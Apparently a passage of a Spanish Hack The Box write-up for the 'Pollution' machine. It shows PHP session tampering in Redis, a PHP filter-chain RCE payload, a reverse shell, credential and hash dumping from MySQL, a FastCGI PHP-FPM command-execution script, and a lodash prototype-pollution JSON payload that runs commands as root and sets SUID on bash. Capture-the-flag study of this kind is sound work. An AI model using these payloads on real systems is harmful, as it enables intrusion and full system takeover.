"username|s:7:\"pointed\";role|s:5:\"admin\";"
: El valor de la sesión serializada. Es un string que contiene los siguientes datos:
username|s:7:\"pointed\";
: Esto indica que hay un campo llamadousername
con un string de longitud 7 cuyo valor es"pointed"
.role|s:5:\"admin\";
: Esto indica que hay un campo llamadorole
con un string de longitud 5 cuyo valor es"admin"
.
Modifying PHP Serialized Session
Mi misión es poder autenticarme en el panel de usuario del developers.collect.htb
entonces tengo que buscar la forma de hacer eso.
Viendo el index.php
vemos un condicional al principio de todo el archivo.
1if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
2 die(header('Location: /login.php'));
3}
Entonces si en nuestra sesión encuentra que auth
no existe o no vale Verdadero
nos manda pastar.
Pero como tenemos acceso al Redis, podríamos modificar nuestra sesión y establecer un campo auth
que valga True
Así que podemos serializar el objeto de mi usuario pero haciendo ese cambio.
1$ php -a
2Interactive shell
3
4php > $session = array("username" => "pointed", "role" => "admin", "auth" => True);
5php > echo serialize($session);
6a:3:{s:8:"username";s:7:"pointed";s:4:"role";s:5:"admin";s:4:"auth";b:1;}
Cambiamos la información de la sesión.
1collect.htb:6379> set PHPREDIS_SESSION:gi2c1krg228jkg5gpvv9pibog4 '{s:8:"username";s:7:"pointed";s:4:"role";s:5:"admin";s:4:"auth";b:1;}'
2OK
3collect.htb:6379> get PHPREDIS_SESSION:gi2c1krg228jkg5gpvv9pibog4
4"{s:8:\"username\";s:7:\"pointed\";s:4:\"role\";s:5:\"admin\";s:4:\"auth\";b:1;}"
Pero al recargar la página me sigue llevando al inicio de sesión.
Esto es porque estoy modificando la sesión de collect.htb
y no de developers.collect.htb
Al recuperar la sesión vemos que está vacia.
1collect.htb:6379> get PHPREDIS_SESSION:vu38kfnsn9meo80emfihttpiki
2""
En redis:
- Las cadenas (
string
) se representan comos:{length}:"{value}";
. - Los valores booleanos (
true
ofalse
) se representan comob:1;
paratrue
yb:0;
parafalse
.
Por lo cual si establecemos:
"auth|b:1;"
: Agrega el nuevo campo auth
y lo establece en True
(b:1
).
Modificamos esta vez la sesión correcta.
1collect.htb:6379> set PHPREDIS_SESSION:vu38kfnsn9meo80emfihttpiki 'auth|b:1;'
2OK
3collect.htb:6379> get PHPREDIS_SESSION:vu38kfnsn9meo80emfihttpiki
4"auth|b:1;"
Y al recargar la página ahora si que ganamos acceso.
Abusing PHP filter
Wrapper to get RCE -> Foothold
Me llama la atención el parámetro page
, y como tenemos el código fuente vamos a analizarlo.
1<main class="mb-auto mx-24">
2 <?php include($_GET['page'] . ".php"); ?>
3 </main>
Podríamos intentar un LFI o incluso RCE a través de algunos wrappers.
Encontramos este artículo en HackTricks
Nos recomienda este repo de Github para generar nuestras cadenas de filtros PHP para conseguir RCE sin subir archivo ni nada.
Nos clonamos el repo.
1$ git clone https://github.com/synacktiv/php_filter_chain_generator
2Cloning into 'php_filter_chain_generator'...
3remote: Enumerating objects: 11, done.
4remote: Counting objects: 100% (11/11), done.
5remote: Compressing objects: 100% (7/7), done.
6remote: Total 11 (delta 4), reused 10 (delta 4), pack-reused 0 (from 0)
7Receiving objects: 100% (11/11), 5.23 KiB | 5.23 MiB/s, done.
8Resolving deltas: 100% (4/4), done.
Y con el parámetro --chain
podemos especificar cual es el código PHP que queremos que se ejecute.
1$ python3 php_filter_chain_generator.py --chain '<?php echo "ou yesyesyesyes"; ?>'
2[+] The following gadget chain will generate the following code : <?php echo "ou yesyesyesyes"; ?> (base64 value: PD9waHAgZWNobyAib3UgeWVzeWVzeWVzeWVzIjsgPz4)
3php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF
4.....
El “churro” nos lo podemos copiar y pegar en el parámetro page
y si todo sale bien debería de salir el texto ou yesyesyesyes
¡Bingo!
Ahora vamos a ganar RCE.
Vamos a crear un payload para poder ejecutar comandos mediante el párametro c
1$ python3 php_filter_chain_generator.py --chain '<?php shell_exec($_GET["c"]); ?>'
Si lo copiamos vemos que no sale nada.
Si intentamos ejecutar el comando id
vemos que sale texto no legible por pantalla, pero como ahora sale algo y antes no quiero pensar que el comando se está ejecutando.
Si nos mandamos un ping vemos que nos llega, por lo cual podemos confirmar que tenemos RCE.
1$ sudo tcpdump -i tun0 icmp
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
421:07:34.336987 IP forum.collect.htb > 10.10.14.104: ICMP echo request, id 57132, seq 1, length 64
521:07:34.337042 IP 10.10.14.104 > forum.collect.htb: ICMP echo reply, id 57132, seq 1, length 64
Ahora nos podemos mandar la shell con el típico one-liner.
Y si estamos en escucha con pwncat-cs
por el puerto 443.
1$ sudo pwncat-cs -lp 443
2[21:09:52] Welcome to pwncat 🐈! __main__.py:164
3[21:10:04] received connection from 10.129.228.126:35744 bind.py:84
4[21:10:07] 10.129.228.126:35744: registered new host w/ db manager.py:957
5(local) pwncat$
6(remote) www-data@pollution:/var/www/developers$ id
7uid=33(www-data) gid=33(www-data) groups=33(www-data)
User Pivoting
Vemos que existe un usuario victor
1(remote) www-data@pollution:/var/www/developers$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3victor:x:1002:1002::/home/victor:/bin/bash
Como sabemos que probablemente exista otra base de datos detrás podemos confirmar que servicios internos están abiertos.
1(remote) www-data@pollution:/var/www/collect$ netstat -tulnp
2(Not all processes could be identified, non-owned process info
3 will not be shown, you would have to be root to see it all.)
4Active Internet connections (only servers)
5Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
6tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
7tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN -
8tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
9tcp 0 0 127.0.0.1:3000 0.0.0.0:* LISTEN -
10tcp 0 0 127.0.0.1:9000 0.0.0.0:* LISTEN -
11tcp6 0 0 ::1:6379 :::* LISTEN -
12tcp6 0 0 :::80 :::* LISTEN -
13tcp6 0 0 :::22 :::* LISTEN -
14udp 0 0 0.0.0.0:5353 0.0.0.0:* -
15udp 0 0 0.0.0.0:38829 0.0.0.0:* -
16udp 0 0 0.0.0.0:68 0.0.0.0:* -
17udp6 0 0 :::5353 :::* -
18udp6 0 0 :::42859 :::* -
Y vemos el puerto 3000 interno que ya sabíamos que existía.
El puerto 3306 (MySQL) por lo cual efectivamente, existe otra base de datos detrás.
Y otro puerto 9000 que no sabemos que servicio ofrece.
En /var/www/collect/config.php
podemos encontrar la contraseña de la base de datos de MySQL.
1(remote) www-data@pollution:/var/www/collect$ cat config.php
2<?php
3
4
5return [
6 "db" => [
7 "host" => "localhost",
8 "dbname" => "webapp",
9 "username" => "webapp_user",
10 "password" => "Str0ngP4ssw0rdB*12@1",
11 "charset" => "utf8"
12 ],
13];
Podemos ingresar en la base de atos con las credenciales webapp_user:Str0ngP4ssw0rdB*12@1
1(remote) www-data@pollution:/var/www/collect$ mysql -uwebapp_user -pStr0ngP4ssw0rdB*12@1
2Welcome to the MariaDB monitor. Commands end with ; or \g.
3Your MariaDB connection id is 364
4Server version: 10.5.15-MariaDB-0+deb11u1 Debian 11
5
6Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
7
8Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
9
10MariaDB [(none)]> show databases;
11+--------------------+
12| Database |
13+--------------------+
14| developers |
15| forum |
16| information_schema |
17| mysql |
18| performance_schema |
19| pollution_api |
20| webapp |
21+--------------------+
227 rows in set (0.002 sec)
Encontramos un hash MD5 en developers -> users
1MariaDB [developers]> select * from users;
2+----+----------+----------------------------------+
3| id | username | password |
4+----+----------+----------------------------------+
5| 1 | admin | c89efc49ddc58ee4781b02becc788d14 |
6+----+----------+----------------------------------+
Encontramos mas hashes en forum -> mybb_users
1MariaDB [forum]> select username,password from mybb_users;
2+---------------------+----------------------------------+
3| username | password |
4+---------------------+----------------------------------+
5| administrator_forum | b254efc2c5716af2089ffeba1abcbf30 |
6| john | e1ec52d73242b78fdee6be117569b602 |
7| victor | b454fd07d44b27f1d528efba841c9717 |
8| sysadmin | 477a429cddfc475b9100958cae9204b1 |
9| jeorge | 5d13d9d4b1f368280b8426800a85702e |
10| lyon | 5eab3ec757f8352597ab74361fda8bcc |
11| jane | 972470c4c1a3f53029e56007abcf39fc |
12| karldev | 285127d01d188c8827c9fded33bf6f9e |
13| pointed | 3eb5e8b03d5fa8228ea1bef4821a170c |
14+---------------------+----------------------------------+
159 rows in set (0.000 sec)
Encontramos otro hash en webapp -> users
1MariaDB [webapp]> select * from users;
2+----+----------+----------------------------------+-------+
3| id | username | password | role |
4+----+----------+----------------------------------+-------+
5| 1 | admin | c89efc49ddc58ee4781b02becc788d14 | admin |
6| 3 | pointed | c416671d05d001fca2433d9855e3c905 | admin |
7+----+----------+----------------------------------+-------+
El hash de admin
es el mismo que habíamos encontrado antes.
No conseguí crackear ninguno de estos hashes.
1$ cat hashes.txt
2c89efc49ddc58ee4781b02becc788d14
3b254efc2c5716af2089ffeba1abcbf30
4e1ec52d73242b78fdee6be117569b602
5b454fd07d44b27f1d528efba841c9717
6477a429cddfc475b9100958cae9204b1
75d13d9d4b1f368280b8426800a85702e
85eab3ec757f8352597ab74361fda8bcc
9972470c4c1a3f53029e56007abcf39fc
10285127d01d188c8827c9fded33bf6f9e
113eb5e8b03d5fa8228ea1bef4821a170c
Linpeas
Podemos probar a ejecutar linpeas.sh
, nos lo subimos utilizando la función upload
la cual es interna de pwncat-cs
1(local) pwncat$ upload /opt/peas/linpeas.sh
2./linpeas.sh ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 862.8/862.8 kB • ? • 0:00:00
3[21:23:17] uploaded 862.78KiB in 3.01 seconds
Encontramos que victor
está ejecutando php-fpm
, esto ya lo he tocado en otras máquinas.
Encontramos el archivo de configuración /etc/php/8.1/fpm/php-fpm.conf
1(remote) www-data@pollution:/tmp$ ps aux | grep php-fpm
2root 964 0.0 1.0 265400 41132 ? Ss 10:45 0:00 php-fpm: master process (/etc/php/8.1/fpm/php-fpm.conf)
3victor 1011 0.0 0.3 265840 15916 ? S 10:45 0:00 php-fpm: pool victor
4victor 1012 0.0 0.3 265840 15916 ? S 10:45 0:00 php-fpm: pool victor
5www-data 2239 0.0 0.9 345740 35960 ? S 11:01 0:01 php-fpm: pool www
6www-data 2241 0.0 0.9 345748 36228 ? S 11:01 0:01 php-fpm: pool www
7www-data 2242 0.0 0.9 345888 36672 ? S 11:01 0:00 php-fpm: pool www
8www-data 22739 0.0 0.0 3268 636 pts/0 S+ 13:27 0:00 grep php-fpm
Abusing FastCGI PHP-FPM
Ahora que sabemos que existe FastCGI por el proceso que hemos descubierto, podemos suponer que el puerto 9000 corresponde a este servicio ya que es el puerto que utiliza por defecto.
Podemos utilizar este script que encontramos en HackTricks para intentar ejecutar comandos como victor
1#!/bin/bash
2
3PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
4FILENAMES="/var/www/public/index.php" # Exisiting file path
5
6HOST=$1
7B64=$(echo "$PAYLOAD"|base64)
8
9for FN in $FILENAMES; do
10 OUTPUT=$(mktemp)
11 env -i \
12 PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
13 SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
14 cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT
15
16 cat $OUTPUT
17done
Vamos a reemplazar FILENAMES
a algún archivo que exista.
Y vamos a cambiar el comando para mandarnos un ping a nuestra máquina.
Y vemos que el ping se realiza.
1(remote) www-data@pollution:/tmp$ ./rce.sh
2Status: 302 Found
3Set-Cookie: PHPSESSID=6p00qrfhf7ff4384i1n0ok3bfo; path=/
4Expires: Thu, 19 Nov 1981 08:52:00 GMT
5Cache-Control: no-store, no-cache, must-revalidate
6Pragma: no-cache
7Location: /login.php
8Content-type: text/html; charset=UTF-8
9
10<!--PING 10.10.14.104 (10.10.14.104) 56(84) bytes of data.
1164 bytes from 10.10.14.104: icmp_seq=1 ttl=63 time=36.2 ms
12
13--- 10.10.14.104 ping statistics ---
141 packets transmitted, 1 received, 0% packet loss, time 0ms
15rtt min/avg/max/mdev = 36.215/36.215/36.215/0.000 ms
Ejecutando el comando id
vemos que esto lo está ejecutando victor
.
1(remote) www-data@pollution:/tmp$ ./rce.sh
2Status: 302 Found
3Set-Cookie: PHPSESSID=03id86eq019mtl0iao9ng06c02; path=/
4Expires: Thu, 19 Nov 1981 08:52:00 GMT
5Cache-Control: no-store, no-cache, must-revalidate
6Pragma: no-cache
7Location: /login.php
8Content-type: text/html; charset=UTF-8
9
10<!--uid=1002(victor) gid=1002(victor) groups=1002(victor)
Ahora modificarnos el comando para enviarnos una consola.
Pero vemos que la consola instantáneamente se cierra ya que el proceso ejecuta el comando y al matarlo no mantiene la reverse shell.
1$ sudo pwncat-cs -lp 443
2/usr/local/lib/python3.11/dist-packages/paramiko/transport.py:178: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
3 'class': algorithms.Blowfish,
4[21:37:49] Welcome to pwncat 🐈! __main__.py:164
5[21:37:51] received connection from 10.129.228.126:56510 bind.py:84
6[21:37:51] connection failed: channel unexpectedly closed
Así que como está el SSH abierto vamos a ver si tiene una clave privada, y si no, escribiremos nuestra clave pública en su authorized_keys
para poder autenticarnos como victor
utilizando la autenticación de clave privada.
Y vemos que no tiene ninguna clave privada.
1(remote) www-data@pollution:/tmp$ ./rce.sh
2Status: 302 Found
3Set-Cookie: PHPSESSID=l8ta9cm3c30sbk2uelcblgv9uj; path=/
4Expires: Thu, 19 Nov 1981 08:52:00 GMT
5Cache-Control: no-store, no-cache, must-revalidate
6Pragma: no-cache
7Location: /login.php
8Content-type: text/html; charset=UTF-8
9
10<!--total 8
11drwx------ 2 victor victor 4096 Nov 21 2022 .
12drwx------ 16 victor victor 4096 Nov 21 2022 ..
Entonces en nuestra máquina nos copiamos nuestra clave pública a un fichero authorized_keys
1$ cp /home/pointedsec/.ssh/id_rsa.pub authorized_keys
Lo subimos a la máquina víctima en /tmp/authorized_keys
Cambiamos el comando para que se borra por si existe y luego se copie en /home/victor/.ssh/authorized_keys
Vemos que todo sale bien.
1(remote) www-data@pollution:/tmp$ ./rce.sh
2Status: 302 Found
3Set-Cookie: PHPSESSID=m2jbmpkgf15vaireq1o7auje6s; path=/
4Expires: Thu, 19 Nov 1981 08:52:00 GMT
5Cache-Control: no-store, no-cache, must-revalidate
6Pragma: no-cache
7Location: /login.php
8Content-type: text/html; charset=UTF-8
Y ya podemos ganar una sesión SSH como victor
1$ ssh victor@10.129.228.126 -i /home/pointedsec/.ssh/id_rsa
2Linux pollution 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
3
4The programs included with the Debian GNU/Linux system are free software;
5the exact distribution terms for each program are described in the
6individual files in /usr/share/doc/*/copyright.
7
8Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
9permitted by applicable law.
10victor@pollution:~$ id
11uid=1002(victor) gid=1002(victor) groups=1002(victor)
Y leer la flag de usuario.
1victor@pollution:~$ cat user.txt
2ed53db85449dae....
Privilege Escalation
Encontramos en el directorio personal de victor
un directorio pollution_api
1victor@pollution:~/pollution_api$ ls -la
2total 116
3drwxr-xr-x 8 victor victor 4096 Nov 21 2022 .
4drwx------ 16 victor victor 4096 Nov 21 2022 ..
5drwxr-xr-x 2 victor victor 4096 Nov 21 2022 controllers
6drwxr-xr-x 2 victor victor 4096 Nov 21 2022 functions
7-rw-r--r-- 1 victor victor 528 Sep 2 2022 index.js
8-rwxr-xr-x 1 victor victor 574 Aug 26 2022 log.sh
9drwxr-xr-x 5 victor victor 4096 Nov 21 2022 logs
10drwxr-xr-x 2 victor victor 4096 Nov 21 2022 models
11drwxr-xr-x 97 victor victor 4096 Nov 21 2022 node_modules
12-rw-r--r-- 1 victor victor 71730 Aug 26 2022 package-lock.json
13-rw-r--r-- 1 victor victor 160 Aug 26 2022 package.json
14drwxr-xr-x 2 victor victor 4096 Nov 21 2022 routes
Que quiero pensar que es la API de la que tanto se ha hablado que está en el puerto 3000.
Podemos comprobar que esta API la está ejecutando el usuario root
1victor@pollution:~/pollution_api$ ps -aux | grep pollution_api
2root 1342 0.0 1.9 1664492 77332 ? Sl 10:45 0:01 /usr/bin/node /root/pollution_api/index.js
3victor 23505 0.0 0.0 6240 640 pts/0 S+ 13:53 0:00 grep pollution_api
Vamos a pasarnos este proyecto a nuestra máquina para analizarlo en busca de vulnerabilidades.
Con Snyk
podemos encontrar una versión desactualizada de lodash
la cual es vulnerable a Prototype Pollution (el nombre de la máquina cuadra por lo cual los tiros deben de ir por aquí)
Encontramos este post de Snky que explica la vulnerabilidad
Affected versions of this package are vulnerable to Prototype Pollution. The functions
merge
,mergeWith
, anddefaultsDeep
could be tricked into adding or modifying properties ofObject.prototype
. This is due to an incomplete fix toCVE-2018-3721
.
En controllers/Messages_send.js
vemos que se utiliza la función merge
la cual es vulnerable.
Para llegar a este endpoint necesitamos tener una cuenta de usuario. Eso es lo primero que debemos hacer.
Podemos crear una cuneta en el endponit /auth/register
Podemos crear la cuenta perfectamente.
1victor@pollution:~$ curl -X POST http://127.0.0.1:3000/auth/register -H 'Content-Type: application/json' -d '{"username": "pointed", "password
2{"Status":"Ok"}
Ahora necesitamos convertirnos en administradores, pero como tenemos acceso a la base de datos podemos hacer eso fácilmente.
Podemos ver el usuario recién creado.
1MariaDB [pollution_api]> select * from users;
2+----+----------+----------+------+---------------------+---------------------+
3| id | username | password | role | createdAt | updatedAt |
4+----+----------+----------+------+---------------------+---------------------+
5| 1 | test | test | user | 2024-09-13 15:37:12 | 2024-09-13 15:37:12 |
6| 2 | pointed | password | user | 2024-09-13 18:08:02 | 2024-09-13 18:08:02 |
7+----+----------+----------+------+---------------------+---------------------+
Podemos cambiar el campo role
para darnos rol de administrador.
1MariaDB [pollution_api]> update users set role="admin" where username="pointed";
2Query OK, 1 row affected (0.003 sec)
3Rows matched: 1 Changed: 1 Warnings: 0
1MariaDB [pollution_api]> select * from users;
2+----+----------+----------+-------+---------------------+---------------------+
3| id | username | password | role | createdAt | updatedAt |
4+----+----------+----------+-------+---------------------+---------------------+
5| 1 | test | test | user | 2024-09-13 15:37:12 | 2024-09-13 15:37:12 |
6| 2 | pointed | password | admin | 2024-09-13 18:08:02 | 2024-09-13 18:08:02 |
7+----+----------+----------+-------+---------------------+---------------------+
Ahora debemos de saber como funciona el endpoint para mandar un mensaje.
Entonces vamos a intentar mandar un mensaje de prueba.
Pero antes necesitamos un token de autenticación.
1victor@pollution:~$ curl -X POST http://127.0.0.1:3000/auth/login -H 'Content-Type: application/json' -d '{"username": "pointed", "password": "password"}'
2{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicG9pbnRlZCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyNjI1MTExNSwiZXhwIjoxNzI2MjU0NzE1fQ.xr0E3IWWzqlmMYFGAqo2XpHFk_5S87_3ITcSqawufSU"}}
Y ahora intentamos mandar un mensaje.
1victor@pollution:~$ curl -X POST http://127.0.0.1:3000/admin/messages/send -H 'Content-Type: application/json' -d '{"text": "test"}' -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicG9pbnRlZCIsImlzX2F1dGgiOnRydWUsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcyNjI1MTExNSwiZXhwIjoxNzI2MjU0NzE1fQ.xr0E3IWWzqlmMYFGAqo2XpHFk_5S87_3ITcSqawufSU"
2{"Status":"Ok"}
Y podemos comprobar la base de datos para ver que todo ha salido bien.
1MariaDB [pollution_api]> select * from messages;
2+----+--------------------------------------------------------------------+-----------+---------------------+---------------------+
3| id | text | user_sent | createdAt | updatedAt |
4+----+--------------------------------------------------------------------+-----------+---------------------+---------------------+
5| 1 | {"user_sent":"pointed","title":"Message for admins","text":"test"} | pointed | 2024-09-13 18:12:34 | 2024-09-13 18:12:34 |
6+----+--------------------------------------------------------------------+-----------+---------------------+---------------------+
71 row in set (0.000 sec)
Prototype Pollution 2 RCE Abusing child_process
functions
Vemos que se está utilizando exec
para ejecutar un comando.
Podemos encontrar en HackTricks un PoC interesante.
1// environ trick - not working
2// It's not possible to pollute the .env attr to create a first env var
3// because options.env is null (not undefined)
4
5// cmdline trick - working with small variation
6// Working after kEmptyObject (fix)
7const { exec } = require('child_process');
8p = {}
9p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
10p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
11p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
12var proc = exec('something');
13
14// stdin trick - not working
15// Not using stdin
16
17// Windows
18// Working after kEmptyObject (fix)
19const { exec } = require('child_process');
20p = {}
21p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
22var proc = exec('something');
Entonces al llamar a la función merge
como le está pasando el req.body
sin filtrar nada puedo realizar el Prototype Pollution.
Port Forwarding
Vamos a hacer port forwarding al puerto 3000 para trabajar mas fácilmente con burp.
1$ ssh -L 3000:127.0.0.1:3000 victor@10.129.228.126
Exploiting Prototype Pollution
Siguiendo el PoC de HackTricks podemos traducir esto:
1const { exec } = require('child_process');
2p = {}
3p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
4p.__proto__.argv0 = "console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
5p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
6var proc = exec('something');
En formato JSON para que lo procese el servidor.
1{"text": "test",
2
3"__proto__":{
4
5"shell": "/proc/self/exe",
6
7"argv0": "console.log(require('child_process').execSync('touch /tmp/pwned_pointed').toString())//",
8
9"NODE_OPTIONS":"--require /proc/self/cmdline"
10
11}}
Si todo sale bien debería de crear un archivo en /tmp/pwned_pointed
cuyo propietario sea root
Ahora si miramos /tmp
encontramos el archivo.
Ahora vamos a establecer el SUID de /bin/bash
a 1 para poder lanzarnos una consola como root
y escalar privilegios.
Y ahora podemos comprobar que todo ha salido bien.
1victor@pollution:/tmp$ ls -la /bin/bash
2-rwsr-xr-x 1 root root 1234376 Mar 27 2022 /bin/bash
Y podemos lanzarnos una bash como el propietario con el parámetro -p
y escalar privilegios.
1victor@pollution:/tmp$ bash -p
2bash-5.1# id
3uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor)
Podemos leer la flag de root
1bash-5.1# cat /root/root.txt
216e136dfdebb50e1...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #Pollution #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #VHost Fuzzing #Subdomain Enumerations #Information Disclosure #Blind XXE #XXE #Data Exfiltration #Hash Cracking #Cracking #PHP Code Analysis #Modifying PHP Serialized Session #Abusing PHP Filter Wrapper #Abusing FastCGI PHP-FPM #User Pivoting #Port Forwarding #Prototype Pollution